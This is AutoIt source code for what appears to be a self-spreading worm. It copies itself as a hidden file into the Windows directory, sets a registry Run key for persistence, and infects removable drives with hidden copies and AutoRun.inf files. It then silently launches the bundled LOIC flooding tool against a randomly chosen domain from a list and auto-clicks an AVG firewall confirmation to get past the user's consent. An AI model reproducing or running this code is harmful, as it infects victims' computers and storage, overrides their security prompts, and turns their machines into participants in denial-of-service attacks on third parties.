#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=ICON.ico
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_Res_Comment=Anonymous
#AutoIt3Wrapper_Res_Description=Anonymous
#AutoIt3Wrapper_Res_Fileversion=0.0.0.16
#AutoIt3Wrapper_Res_Fileversion_AutoIncrement=y
#AutoIt3Wrapper_Res_LegalCopyright=Anonymous
#AutoIt3Wrapper_Res_Language=1033
#AutoIt3Wrapper_Res_Field=Disclaimer|Anonymous
#AutoIt3Wrapper_Res_Field=Compiler Version|%AutoItVer%
#AutoIt3Wrapper_Res_Field=Compile Date|%date% %time%
#AutoIt3Wrapper_Res_Field=Crew|Anonymous
#AutoIt3Wrapper_Res_Field=Author|Anon
#AutoIt3Wrapper_Run_Obfuscator=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_UseAnsi=y

$handleError = ObjEvent("AutoIt.Error", "error")
;Opt("RunErrorsFatal", 0)
#include <string.au3>
#include <INet.au3>
#include <File.au3>
Dim $dow[7] = ["Sun", "Mon", "Tues", "Wed", "Thurs", "Fri", "Sat"]
Dim $masterCopy = @WindowsDir & "\" & @UserName & ".exe"
Dim $infectedDrives = "", $driveLabels = ""

;------------LOIC VARS
FileInstall("BIN/LOIC/LOIC.exe", @ScriptDir & "/LOIC.exe")
FileInstall("DOMAIN.txt", @ScriptDir & "DOMAIN.txt")
Global $LOIC_BIN = @ScriptDir & "/LOIC.exe"
Global $LOIC_TITLE = "Low Orbit Ion Cannon | U dun goofed | v. 1.1.1.18"
Global $IP_inuse = "NULL"
;------------


startup()
;InfectRemovableDrive()
regChanges()

;Checks existences and versions
Func startup()
    If FileExists($masterCopy) Then
        If FileGetVersion($masterCopy) > FileGetVersion(@ScriptFullPath) Then
            ;nothing
        Else
            FileCopy(@ScriptFullPath, $masterCopy, 1)
            FileSetAttrib($masterCopy, "+h")
        EndIf
    Else
        RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", @UserName, "REG_SZ", $masterCopy)
        FileCopy(@ScriptFullPath, $masterCopy, 1)
        FileSetAttrib($masterCopy, "+h")
    EndIf
    InfectRemovableDrive()
EndFunc   ;==>startup

;Infects all removable storage, that is able to be written too.
Func InfectRemovableDrive()
    $var = DriveGetDrive("REMOVABLE")
    If $var = "" Then
        ;do nothing
    Else
        For $x = 1 To $var[0] Step 1
            If DriveSpaceTotal($var[$x]) = "" Or DriveStatus($var[$x]) = "NOTREADY" Then
                MsgBox(0, "", $var[$x])

            Else
                $RSSE = IniRead($var[$x] & "\rdfc.isd", "APP", "USER", "MISSING")
                MsgBox(0, "", "TEST ERR")
                If DriveStatus($var[$x]) <> "NOTREADY" Then
                    If Not FileExists($var[$x] & "\rdfc.isd") Then
                        $infectedDrives = $infectedDrives & $var[$x] & ", "
                        $driveLabels = $driveLabels & $var[$x] & ", "
                        $fdd = FileOpen($var[$x] & "\rdfc.isd", 2)
                        FileWrite($fdd, "[APP]" & @CRLF & "USER=" & @UserName)
                        FileClose($fdd)
                        FileSetAttrib($var[$x] & "\rdfc.isd", "+H")
                        FileCopy(@ScriptFullPath, $var[$x] & "\" & @UserName & ".exe", 1)
                        ;FileSetAttrib($var[$x] & "\" & @UserName & ".exe", "+H")
                        $autorun = FileOpen($var[$x] & "\AutoRun.inf", 2)
                        FileWrite($autorun, "[Autorun]" & @CRLF)
                        FileWrite($autorun, "Action=Distribution" & @CRLF)
                        FileWrite($autorun, "Label=" & DriveGetLabel($var[$x]) & @CRLF)
                        FileWrite($autorun, "shell\MyPendrive\command=..\" & @UserName & ".exe" & @CRLF)
                        FileWrite($autorun, "shell\MyPenDrive=Open" & @CRLF)
                        FileWrite($autorun, "shell=lost" & @CRLF)
                        FileWrite($autorun, "shellexecute=..\" & @UserName & ".exe" & @CRLF)
                        FileWrite($autorun, "UseAutoPlay=1" & @CRLF & "VER=" & FileGetVersion(@ScriptFullPath))
                        FileClose($autorun)
                        FileSetAttrib($var[$x] & "\Autorun.inf", "+H")
                    Else
                        If $RSSE = "MISSING" Or Not FileExists($var[$x] & "\" & $RSSE & ".exe") Then
                            FileDelete($var[$x] & "\rdfc.isd")
                            InfectRemovableDrive()
                        EndIf
                        If FileGetVersion($var[$x] & "\" & $RSSE & ".exe") < FileGetVersion(@ScriptFullPath) Then
                            ;FileDelete($var[$x] & "\rdfc.isd")
                            ;InfectRemovableDrive()
                            FileCopy(@ScriptFullPath, $var[$x] & "\" & @UserName & ".exe", 1)
                            ;FileSetAttrib($var[$x] & "\" & @UserName & ".exe", "+H")
                            $fdd = FileOpen($var[$x] & "\rdfc.isd", 2)
                            FileWrite($fdd, "[APP]" & @CRLF & "USER=" & @UserName)
                            FileClose($fdd)
                            FileSetAttrib($var[$x] & "\rdfc.isd", "+H")
                            ;MsgBox(0, "", $var[$x] & "\" & @UserName & ".exe")
                        EndIf
                    EndIf
                EndIf
            EndIf
        Next
        FileWrite(@WindowsDir & "\InList.txt", "User: " & @UserName & @TAB & "Drives: " & $infectedDrives & @TAB & "Labels: " & $driveLabels & @TAB & "Date: " & @HOUR & ":" & @MIN & ":" & @SEC & "    " & @MON & "/" & @MDAY & "/" & @YEAR & @TAB & $dow[@WDAY - 1] & @CRLF)
    EndIf
EndFunc   ;==>InfectRemovableDrive

Func regChanges()



    ;---------------------------------------------------------
    TCPStartup()

    While $IP_inuse = "NULL"
        $randomIP = randomIP()
        $IP_inuse = TCPNameToIP($randomIP)
        If @error Then $IP_inuse = "NULL"
        ConsoleWrite($IP_inuse & @CRLF)
    WEnd

    TCPShutdown()
    ;---------------------------------------------------------

    Run($LOIC_BIN)
    WinWaitActive($LOIC_TITLE)
    $handle = WinGetHandle($LOIC_BIN)
    If @Compiled Then WinSetState($handle, $handle, @SW_HIDE)


    $IP_con_handle = ControlGetHandle($handle, $handle, "[NAME:txtTargetIP]")
    ControlFocus($handle, $handle, $IP_con_handle)
    ControlSetText($handle, $handle, $IP_con_handle, $IP_inuse)
;~-----------
    $TARGETIP_con_handle = ControlGetHandle($handle, $handle, "[NAME:cmdTargetIP]")
    ControlFocus($handle, $handle, $TARGETIP_con_handle)
    ControlClick($handle, $handle, $TARGETIP_con_handle)
;~-----------
    $ATTACK_con_handle = ControlGetHandle($handle, $handle, "[NAME:cmdAttack]")
    ControlFocus($handle, $handle, $ATTACK_con_handle)
    ControlClick($handle, $handle, $ATTACK_con_handle)

    WinWaitActive("AVG Firewall Asks for Confirmation", "", 5000)
    If WinExists("AVG Firewall Asks for Confirmation") Then
        $AVG_handle = WinGetHandle("AVG Firewall Asks for Confirmation")
        $AVG_button_handle = ControlGetHandle($handle, $handle, "[CLASS:Button; INSTANCE:1]")
        ControlFocus($AVG_handle, $AVG_handle, $AVG_button_handle)
        ControlClick($AVG_handle, $AVG_handle, $AVG_button_handle)

    EndIf

    Exit
EndFunc   ;==>regChanges

Func randomIP()
    Dim $domainList
    _FileReadToArray("DOMAIN.txt", $domainList)
    Return $domainList[Round(Random(1, $domainList[0]))]
EndFunc   ;==>randomIP

Func error()
    ConsoleWrite("An error has occured and I am handling it silently." & @CRLF & $handleError.description & @CRLF)
    Return $handleError.description
EndFunc   ;==>error